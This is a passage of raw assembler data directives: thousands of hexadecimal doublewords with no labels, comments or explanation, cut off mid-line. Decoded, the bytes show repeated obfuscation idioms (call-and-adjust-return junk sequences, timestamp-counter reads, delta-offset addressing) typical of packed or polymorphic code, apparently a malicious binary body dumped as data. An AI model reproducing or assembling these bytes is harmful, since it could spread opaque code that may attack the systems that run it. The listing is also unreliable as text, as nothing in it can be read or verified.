33D9BF0Fh, 72BCD9Dh, 880D06h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0BD01FFC3h, 6072CD1h, 9890Fh, 8D0F0000h dd 3, 8BD9B70Fh, 7067995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0B3EC8497h dd 662373DBh, 8B032DBFh, 72CE58Dh, 8E906h, 0BEA80000h dd 96847119h, 8B508E8Ch, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 60C35141h, 0BD2952E4h, 60705D5h, 50006A5Bh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 9EF59E80h, 0FB8BF150h, 10E5BD83h, 0F000607h, 5484h dd 919D0100h, 0B8060731h, 0 dd 8DD88B66h, 74E1C8Dh, 0CE906h, 0FA360000h, 4C49BE58h dd 45EE2180h, 0E1FFA94Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 36C35141h, 2B2BBFB9h, 8B668457h, 419D8BF9h dd 8B06072Eh, 5BD83FEh, 6072Dh, 500840Fh, 12E90000h, 0C8000000h dd 0E21B5AE4h, 0E31A9DA4h, 0AD8F501Ch, 203243EAh, 5BD8330h dd 106072Dh, 4F7840Fh, 85890000h, 60721B1h, 2E259D8Bh dd 0BD830607h, 6072D05h, 0A8860F03h, 6A000004h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 5AAAC352h, 0A7A8D2A1h, 870F149Ah, 2, 0E960DF8Bh, 7 dd 149BDEE9h, 664616BCh, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 61C655C3h, 8166601Dh dd 8BA0F9DBh, 7106185h, 0BD8B6106h, 6071075h, 6A04E180h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0D65CC352h, 89A2EFDCh, 0AE98051h, 14000000h dd 0D477406h, 7E02C474h, 0FC90A54h, 1A984h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0BBA8262Ch, 0EB2D285Ah, 6840Fh, 0BD8B0000h, 6070A89h dd 629858Bh, 0A8B30607h, 0AF25BF66h, 1E758533h, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 6F0DF8C3h, 9065B37Ch, 0EE860h, 45720000h, 0FB0751C6h dd 0D09D8A60h, 34961CE9h, 310F5250h, 6158585Ah, 0E9525050h dd 14h, 55BE4C9Fh, 0C0392031h, 592E337Fh, 5C4A969Ah, 0BAF70FD1h dd 73BB310Fh, 5A05BE81h, 6A9058h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 1AB31DC3h, 0B4C3D519h dd 2FD59D89h, 6A0607h, 0BD8BDA8Bh, 607041Dh, 4E8h, 1F03FF00h dd 0E9525000h, 0Dh, 0AED767B3h, 8288ACC4h, 66169C68h, 0B7310F49h dd 50585A15h, 448BDF8Bh, 52500424h, 310FD88Bh, 8B585Ah dd 4244489h, 153BB66h, 95FFFC58h, 6071D01h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 8AC35040h, 0FD98B20h dd 682h, 81BD0100h, 8906072Bh, 0AA6AD85h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0A85A3BD7h, 0F8106B7Fh, 31799D03h, 17E90607h, 6A000002h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 7476C356h, 2138B877h, 0B8777476h, 830FDE8Bh dd 0 dd 858BDA8Bh, 60AA6A5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 37C35545h, 0CDF5F7B0h, 0D10757F4h, 4B0DBF80h dd 0C7307Fh, 18h, 25F5BD89h, 0B58B0607h, 60AA6A9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 80C35040h, 12E9932Dh dd 43000000h, 0ABDA273Fh, 0CB4FEDCAh, 884C3E5h, 5E7F353Bh dd 21858B83h, 6A06070Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 63FCC357h, 0E30EEEA8h dd 153F970h, 725E9BDh, 6895B06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 28C35646h, 858B7267h, 6070629h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C1C35747h dd 0B3F88B66h, 44689A0h, 981BD8Bh, 0BF500607h, 2D1E9692h dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0FC87C351h, 1CC02062h, 235CD8DFh dd 702859Dh, 0B1B50106h, 8006070Dh, 0B5FF9ADBh, 60AA6A5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 33C35747h dd 3B745AAFh, 8D892301h, 6072BD9h, 0B5AF2D68h, 81F88BABh dd 54D22404h, 6A5469h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 4981FC3h, 9CE5BA9Dh, 858DE8FDh dd 60AA6ADh, 8F87BF66h, 8980B750h, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 66F2F6C3h dd 0C9B2F781h, 1D0195FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 6A610FC3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0FFFC352h, 85C7EDB5h, 6072D05h, 3, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 27C35242h, 0B814371Fh, 0FE0CD82Fh dd 0BD83F88Bh, 60AA6ADh, 10840F00h, 0BB000000h, 74778406h dd 21E9h, 41958900h, 50060710h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0FA71FC3h, 9E9D8BFh dd 61000000h, 630B7343h, 75DC04A9h, 2D05BD83h, 0F030607h dd 4F685h, 4FCF8000h, 0A6ADBD83h, 0F00060Ah, 4E684h, 0FD9D3100h dd 0FF06070Dh, 0AA6ADB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0B2F22A2h dd 70FC1BDh, 3D95FF06h, 6A060704h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1F67C351h dd 8D01FD77h, 0B58D89h, 0B58B0607h, 60AA6A1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 75C35343h, 0C890Fh dd 6E80000h, 0F0000000h, 699AFA68h, 9D015F74h, 6072801h dd 106C7h, 8E90001h, 94000000h, 9D157556h, 960A7F81h, 0FE8h dd 0A3822500h, 95E2B26Fh, 5BCD9275h, 59C4A1D4h, 65010DBBh dd 96505F56h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 29C35242h, 0A6ADB5FFh, 6A060Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0FF4FF8C3h dd 71A5595h, 0E98D0906h, 89060709h, 732B185h, 0A1B58B06h dd 6A060AA6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 608BC350h, 8490737Ah, 3F18E287h dd 8BFA8B66h, 7138985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0E9879B1h, 59F0A8E5h dd 868951C4h, 0C4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 8DC35343h, 14618529h, 958B0607h, 6070679h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BBC35747h dd 0AECAF2AFh, 6800F41h, 29000000h, 715319Dh, 83FB8B06h dd 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 3B1F7BC3h, 0C2EA8242h, 89601EE9h, 72DF19Dh dd 18D0F06h, 0F8000000h, 20508961h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 97C35040h, 0E02A5EB4h, 8DFEBF0Fh dd 0ABA1F85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 11304330h, 0CE46D920h, 8B665F51h dd 68C0FD9h, 81000000h, 0EB6E2ED7h, 0B886894Bh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0D72FC355h, 191D126h, 8B2E75D9h, 7E9h, 68866200h dd 11B8D620h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 1BBD50C3h, 3AD1C1DFh, 0B5FFD073h dd 60AA6ADh, 7F78166h, 0F995FFE7h, 0F06071Ah, 684h, 0C99D8B00h dd 96060715h, 0E950FA8Bh, 0Ch, 96ECB945h, 3BD8D4C4h, 550573E5h dd 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 8BE543D3h, 0DE7EAC52h, 51952982h, 0FF060715h dd 0AA6ADB5h, 6810F06h, 29000000h, 72BCD9Dh, 2995FF06h dd 0F060715h, 0BD83DAB7h, 60712A5h, 6F840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 7201C352h, 29E3D66Dh, 732DD85h, 13E806h dd 0FB9E0000h, 8276C749h, 2FA93C16h, 8F113983h, 4047D164h dd 5F5F572Bh, 2830F96h, 8A000000h, 12E950F8h, 7C000000h dd 0BB397D51h, 79121E85h, 4DDC3C7Bh, 869005C4h, 7E9962Eh dd 91000000h, 0A34F42Ch, 0B5FF1AEAh, 60AA6ADh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 2BC35141h, 0EA5AADBFh dd 0E82736CAh, 12h, 132FB9C6h, 0D10D52D2h, 0C699FB4Eh dd 30B4E1BDh, 6E95BB8h, 5B000000h, 0AA0EA38h, 95FF5B8Eh dd 6070555h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 80C35141h, 52331430h, 0ADB5FF5Bh, 0F060AA6h, 95FFDAB7h dd 6071FF9h, 0D5CB8166h, 1DBD839Dh, 206071Fh, 70840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0B15F29C3h, 7E8577Bh, 0A1000000h, 0E0B491BAh dd 85292E9Ch, 607049Dh, 858B5B5Bh, 60706DDh, 6850F60h dd 8B000000h, 70FB5BDh, 0BE806h, 0D5370000h, 0ACE29311h dd 0B5CD1C2Eh, 0BEBF6623h, 0C6615E9Ah, 8E80000h, 41000000h dd 0B8E717ACh, 8B016F08h, 85C75BFEh, 6072691h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 1AC35141h dd 69BD8959h, 0E906072Eh, 0FFFFF228h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0A0C35646h, 0C18BABF6h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 39C35343h, 0A9D9480h dd 0BD8BFCF9h, 60716D1h, 785858Dh, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 262263C3h dd 5090D376h, 12E952h, 0B1530000h, 0B8EB4987h, 7F77414Ch dd 2C482E60h, 8E8DA67Dh, 5F52310Fh, 0BB50585Ah, 5CF01200h dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 895F7102h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 6A7FC3h, 8DDBB70Fh, 0B8B7785h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0A9B9A8C4h, 5012FF82h, 5C083E5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AAC35747h, 58235347h dd 1A959D8Bh, 8B500607h, 240489DEh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 88C35040h, 2C072CCAh, 36BB006Ah dd 6A3B0FD6h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0F0E1A13Bh, 0D87ACF98h, 99B531F1h dd 0FF06071Bh, 704C195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 4F8D8D03h, 8B060AA6h dd 703399Dh, 6AD1FF06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8B08C357h, 70A559Dh dd 8DBD8306h, 1060721h, 0AB850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 577F04C3h dd 5BDF8B57h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 6762EDC3h, 2F99F22Ch, 8BD505F3h dd 70A8DBDh, 68C0F06h, 81000000h, 0DC3482F3h, 5260907Fh dd 6059FB8Bh, 7B85953h, 61598AF2h, 0FC8A5061h, 359D8B90h dd 0FF060701h, 71AF995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0FE96Bh, 0EC010000h, 80ED75BEh dd 0BF6ED938h, 439751B6h, 0E4BE909h, 0E80000h, 5D000000h dd 8B81ED81h, 860F060Bh, 6, 0B04AD381h, 858D21BBh, 60A9108h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 4CC35545h dd 90EE2180h, 9023B350h, 20159D8Bh, 0FF640607h, 35h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 66F97FD9h, 8964FE8Bh, 25h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0CE416558h dd 34DCBA60h, 9D896F0Ah, 6071355h, 2D9D8B61h, 8B060720h dd 712A19Dh, 0F185FF06h, 6A060732h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0FB4EC356h dd 0E1BDC699h, 5BB830B4h, 0DE19D8Bh, 9D8B0607h, 6072075h dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0EBC7E4C3h, 91B5FF4Eh, 6A06070Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 81E1C355h, 517FD9DBh, 2E4DBD8Bh, 8B5B0607h, 71F75BDh dd 0C995FF06h, 0E906071Ah, 123h, 98B0Fh, 870F0000h, 3 dd 0B0FBB70Fh, 6D9D8900h, 0E6060708h, 0BD8B5770h, 60701C5h dd 0E971E45Fh, 0Fh, 3E4C1F76h, 0E54B0E06h, 80CC5743h, 3C32B8A1h dd 0E4830F61h, 0E8000000h, 5, 9C7C2291h, 0A5B589EAh, 5F06072Ah dd 66C8B60Fh, 6BAFA8Bh, 8B000000h, 60C18BDAh, 13A9BD33h dd 8D8B0607h, 60728E5h, 4E8C161h, 66D8BF0Fh, 9D33E2F7h dd 6070C15h, 8D29C82Bh, 60707E9h, 14E9D18Bh, 8A000000h dd 0E4C9C722h, 311BDF55h, 3B613C0Eh, 6F87E77Ch, 0E99001B6h dd 6, 9E59509h, 858B0607h, 607197Dh, 2DBD3356h, 5F06071Dh dd 8B07C083h, 71FB19Dh, 0C08306h, 5FDE8A53h, 830FD03Bh dd 21h, 0FE9h, 68ABF000h, 0A40F882Fh, 0C86599A8h, 8EFE27Ch dd 2265BD89h, 34E90607h, 0B3000000h, 1D8D8B17h, 83060714h dd 840F01E1h, 23h, 599EDF81h, 0A58300D8h, 607141Dh, 0C78166FEh dd 95897EB9h, 607197Dh, 5CD8D29h, 0E90607h, 8D000000h dd 0AF4E2B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0F29A01Fh, 38Bh, 0F88B6600h, 2FED9D8Bh dd 6A0607h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 2CC35242h, 95FF4C43h, 60716B5h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 57C35242h, 0E4830A4h dd 0DF8166D5h, 29B9B218h, 6A000007h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 171BC355h dd 0BE10B64Ch, 45785B31h, 6AFCE183h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 13CBC350h dd 6E834CEh, 30000000h, 6A830A3Fh, 0FC5FFC0Ah, 12259D03h dd 0B80607h, 89000000h, 7326D9Dh, 53D22B06h, 5B35DB80h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 1449BD89h, 6A0607h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 4B5718C3h, 62CB46FCh, 17C9BB66h, 820Fh, 880D0000h, 8B000000h dd 7156DBDh, 79958B06h, 6A060706h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 857FC352h dd 10B2252Ah, 0FA8AF97Ah, 2CE58D8Bh, 50F50607h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 99D8B58h, 53060706h dd 6CD9D89h, 835F0607h, 710E5BDh, 840F0006h, 0AEh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 99C35141h, 7F51EE75h dd 8951645Ah, 71F658Dh, 10E95B06h, 51000000h, 470ECA52h dd 7CAA1DB7h, 0CFB24AC4h, 0B863C294h, 0 dd 25C78166h, 9F5DBB19h, 8D8D04F5h, 6074E1Ch, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6BC35242h, 0E4FD8098h dd 8FD7C39h, 6AE1FFBAh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 9B86C353h, 0BD8B477Ch dd 60732ADh, 6890F56h, 0B000000h, 71E85BDh, 0BD835F06h dd 6072D05h, 0A7840F00h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B78C357h dd 72CD9BDh, 5BD8306h, 106072Dh, 493840Fh, 0BD830000h dd 6072D05h, 50860F03h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 7E5EC356h dd 86951D98h, 0B5BD8B99h, 6006072Eh, 0BE9h, 0E6D6D600h dd 0E0E596FFh, 4E186BE7h, 6AD98C66h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0EF2FC357h dd 816679FFh, 8BEFDBE3h, 4E180DFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 4FC35141h, 0A796A1B6h, 9E9h dd 0F7E44300h, 0C58D67F9h, 0C90A6E19h, 169840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 8F7EDC3h, 858B6254h, 6070629h, 7D35B7BBh, 75853313h dd 6A06071Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 192BC357h, 676C82A4h, 2EF93C46h dd 0DA8B6690h, 8D0F6050h, 2, 32BAC18Bh, 614B4248h, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0FF2348ABh, 0A9859C0Dh, 6A006AC6h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 6287C356h dd 234E89C9h, 0E875FA65h, 0Bh, 273D0EE0h, 6D7F9AE8h, 0E8559D01h dd 9, 78708398h, 0E7DE9D80h, 859D29C9h, 5F060730h, 68AA685Bh dd 5060C9CCh, 0F616052h, 5A5E5631h, 0A9BB6658h, 48161ABh dd 529B5524h, 195FF36h, 6A06071Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0CE32C356h dd 0AFD8D09h, 95290607h, 6070A55h, 0A6AD8589h, 6A060Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 244384C3h, 8684E1ADh, 243BEF81h, 9D8B62B2h, 60711C1h dd 1A8E9h, 0D38B6000h, 0C1DBD8Bh, 8B610607h, 0AA6A585h dd 7E906h, 47270000h, 0EB5FC3C6h, 0FE946h, 2CF90000h, 0CE4EBA9Ch dd 40360DC9h, 0D8494200h, 1800C716h, 89000000h, 71461BDh dd 0A9B58B06h, 6A060AA6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 315CC351h, 0BBADC689h dd 8BDE8AE9h, 70C2185h, 8B068906h, 70109BDh, 29858B06h dd 0E8060706h, 0Eh, 5E9923A2h, 0D7B95EF5h, 0ED2FB300h dd 13E86762h, 89000000h, 0A754EB45h, 460E1B86h, 0CAFCAF65h dd 0F8F4C088h, 5B5F4B66h, 66044689h, 47F6D381h, 0CABB6696h dd 8B665066h, 6A96FBh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 74FD90C3h, 613F2D74h, 816067D4h dd 8AC98AF6h, 0FE96Dh, 1A8D0000h, 0FB025B33h, 1064F0DDh dd 189F2BCh, 9D896161h, 6072161h, 0A6A5B5FFh, 0BF66060Ah dd 8968EBD9h, 0F954D79h, 581h, 5450BB00h, 481726Fh, 0D18A7624h dd 51006A6Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 3F96C9D9h, 0A02F7090h, 8166C6D9h, 8D8964DFh dd 0AA6AD85h, 68B0F06h, 2B000000h, 72D4DBDh, 0F509006h dd 28Ch, 5F616000h, 0EE950h, 56AE0000h, 1900BD9Fh, 34F8C2D3h dd 99136C6Eh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 195FFCDh, 5206071Dh, 2810Fh, 0D88B0000h dd 8960615Bh, 716C985h, 6D950906h, 61060716h, 2D0585C7h dd 30607h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0DC8D5CC3h, 0CE8h, 580C3200h, 0C2BF5AD0h dd 0F6110EACh, 14E9AAh, 0E2ED0000h, 0B7B45EB6h, 0DC31B9E0h dd 88306410h, 3288BC26h, 335FD9C7h, 713BD9Dh, 0ADBD8306h dd 60AA6h, 39840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0AE1BE6C3h, 0B5893380h dd 6071BDDh, 27E9DF8Bh, 89000000h, 706F99Dh, 0ED9D8B06h dd 50060712h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 978032C3h, 1D55B2A8h, 0E815F270h dd 9, 1F49C398h, 0E5A53539h, 0E995893Dh, 5B060726h, 0FF9BD8Bh dd 0BD830607h, 6072D05h, 37850F03h, 89000004h, 71DA19Dh dd 0ADBD8306h, 60AA6h, 424840Fh, 800F0000h, 6, 1CA19D89h dd 0BF0F0607h, 0ADB5FFF8h, 8B060AA6h, 710699Dh, 68B0F06h dd 29000000h, 7280D9Dh, 3D95FF06h, 6A060704h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0AD25C350h, 0B58BCB58h, 60AA6A1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0B4C35343h, 980B6BCh, 712319Dh dd 39BD8B06h, 0C7060721h, 1000106h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0F9E01EE3h dd 0A8E0F96h, 50000000h, 0F5F5352h, 5AF88B31h, 0FE95058h dd 2000000h, 7CD6BC54h, 2C6BFB70h, 7BFFE136h, 0E896970Ah dd 14h, 4329FE5h, 1BE13AEFh, 0BBFB2023h, 3529052Fh, 54B1EE95h dd 279D9D09h, 0FF5B0607h, 0AA6ADB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0E84E2CE3h dd 5598460Bh, 59BD8BABh, 3106071Bh, 732118Dh, 5595FF06h dd 0F06071Ah, 284h, 8BDE8A00h, 0AA6A1B5h, 0D958906h, 0E9060713h dd 0Ch, 0B8BC3651h, 3EB02807h, 0E75C4002h, 1389858Bh, 6A0607h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 63450C3h, 0C4868994h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 2E6FC350h dd 0B0FD345Dh, 85093BBDh, 6071495h, 679958Bh, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0E96D97C3h, 8FEF0D7h, 4C28365h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 85C35242h, 619D89ACh, 89060732h dd 0CE92050h, 0DF000000h, 5BD3C0BDh, 0D4CD5562h, 0F4559A3h dd 858DD8B7h, 60ABA1Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 23C35040h, 86894163h, 0B8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 43C35747h dd 0DFBF0FFFh, 0AE9h, 0B234DC00h, 9204F709h, 6AF22626h dd 85BD2B00h, 0FF06072Ah, 0AA6ADB5h, 3E12BB06h, 95FF0137h dd 6071AF9h, 968CC380h, 0F88B6652h, 0ABBF505Bh, 961DF285h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0BDC35040h dd 9AB52A75h, 0ED5A6E3Ah, 0FE9h, 47DBD700h, 0F522E07Ah dd 6FD6C10Ah, 53E3D4Fh, 0A6ADB5FFh, 6A060Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0E56423C3h dd 0FFE86986h, 7152995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 97CD9657h, 0BB66A3CFh dd 0BD837DBBh, 60712A5h, 62840F00h, 0BF000000h, 2894C90Fh dd 0C8BF6696h, 666050A8h, 666DA1BAh, 61198EBEh, 52006A96h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0A58E3ABAh, 8BEA4080h, 71405BDh, 0DE806h, 0EEB00000h dd 171F47E6h, 0D586D9E0h, 0E9F1F1DAh, 0Ch, 8D6ADC23h, 8F89988Ah dd 0F39058CCh, 0ADB5FF5Fh, 6A060AA6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 187DC353h dd 0F8B70FA0h, 55595FFh, 0BF660607h, 9D234785h, 6073249h dd 0A6ADB5FFh, 0B509060Ah, 60727D1h, 1FF995FFh, 85890607h dd 6072125h, 1F1DBD83h, 0F020607h, 3784h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0FC0D440Fh, 6DD858Bh, 7E90607h, 0A1000000h, 8C8A392Ah dd 0C6E922h, 54E78000h, 269185C7h, 607h, 0FE8B0000h, 0BD5BD8Bh dd 0C1E90607h, 80FFFFF2h, 0C18B09C3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 9DC35545h, 0BF0F4C38h, 85858DF9h dd 66060707h, 9F7BE381h, 0BE950h, 0B4DB0000h, 9ED5E272h dd 848D94B0h, 240489A2h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0CBC35141h, 38333106h, 880FF292h, 1 dd 0DE9F5h, 0FB6B0000h, 74A41BC4h, 652D2A9Dh, 6ABB0804h dd 8E900h, 10080000h, 62339350h, 6A1EFDh, 0ABEF8166h, 0C9858D9Dh dd 6A060B9Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 3B8CC350h, 0C083CAB9h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8D0981D9h, 60716C9h, 9795BB90h, 90506FE5h, 735B531h dd 6A0607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 9EC35343h, 8ED38053h, 6A006A5Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0CC31C352h dd 251B335Ah, 0BC5AE759h, 0BFF88B66h, 220E3B05h, 4C195FFh dd 0FE80607h, 9C000000h, 7BA4C058h, 0DAF57279h, 0D1855491h dd 9D296AF6h, 6070401h, 4F8D8D5Bh, 0FF060AA6h, 0DB589D1h dd 83060726h, 